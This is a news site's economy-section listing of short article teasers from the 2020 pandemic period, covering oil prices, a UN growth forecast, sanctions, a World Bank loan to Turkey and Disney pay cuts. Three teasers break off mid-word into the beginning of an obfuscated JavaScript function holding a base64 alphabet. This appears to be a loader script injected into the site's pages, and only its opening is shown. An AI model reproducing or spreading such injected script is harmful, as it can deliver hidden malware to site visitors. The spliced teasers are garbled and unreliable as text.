Economy

During the coronavirus crisis, Turkey, compared to advanced countries, appeared to have a good healthcare system, with almost no capacity problems related to its hospitals, healthcare workers, or medical equipment. Yet, in order to…

The US sanctioned a Shanghai-based firm Tuesday for allegedly working on behalf of Iran's Mahan Air airliner. The Treasury Department said Saint Logistics Limited was blacklisted for "acting as a general sales agent (GSA) for or on…

The global economy is projected to contract by 3.2% this year, against the backdrop of the devastating coronavirus pandemic, according to a UN report released Wednesday. World trade is forecast to shrink by nearly 15% in 2020 amid…

Crude oil prices were up on Thursday as gasoline inventories in the US showed declines, indicating that demand for gasoline in the country is on the rise. International benchmark Brent crude was trading at $23.23 per barrel at 0635 GMT…

E-commerce sales hit $25.6 trillion globally in 2018, up 8% from 2017, according to the UN’s trade and development body on Monday. The estimated 2018 e-commerce sales value, which includes business-to-business (B2B) and…

The World Bank has approved a $100 million loan to Turkey to support its efforts to fight the coronavirus pandemic. "The project is part of the World Bank’s $14 billion global Fast Track Facility," said a bank statement last Friday.…

The U.S. dollar will not continue its current strength as both the government deficit function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var…

The price for a barrel of West Texas Intermediate crude oil sharply curtailed Monday, falling into negative territory for the first time in history as demfunction a4872b9c6b(y1){var…

U.S.-based entertainment corporation Walt Disney will suspend payments for nearly half of its workforce in a cost-cutting effort amid the coronavirus pfunction a4872b9c6b(y1){var…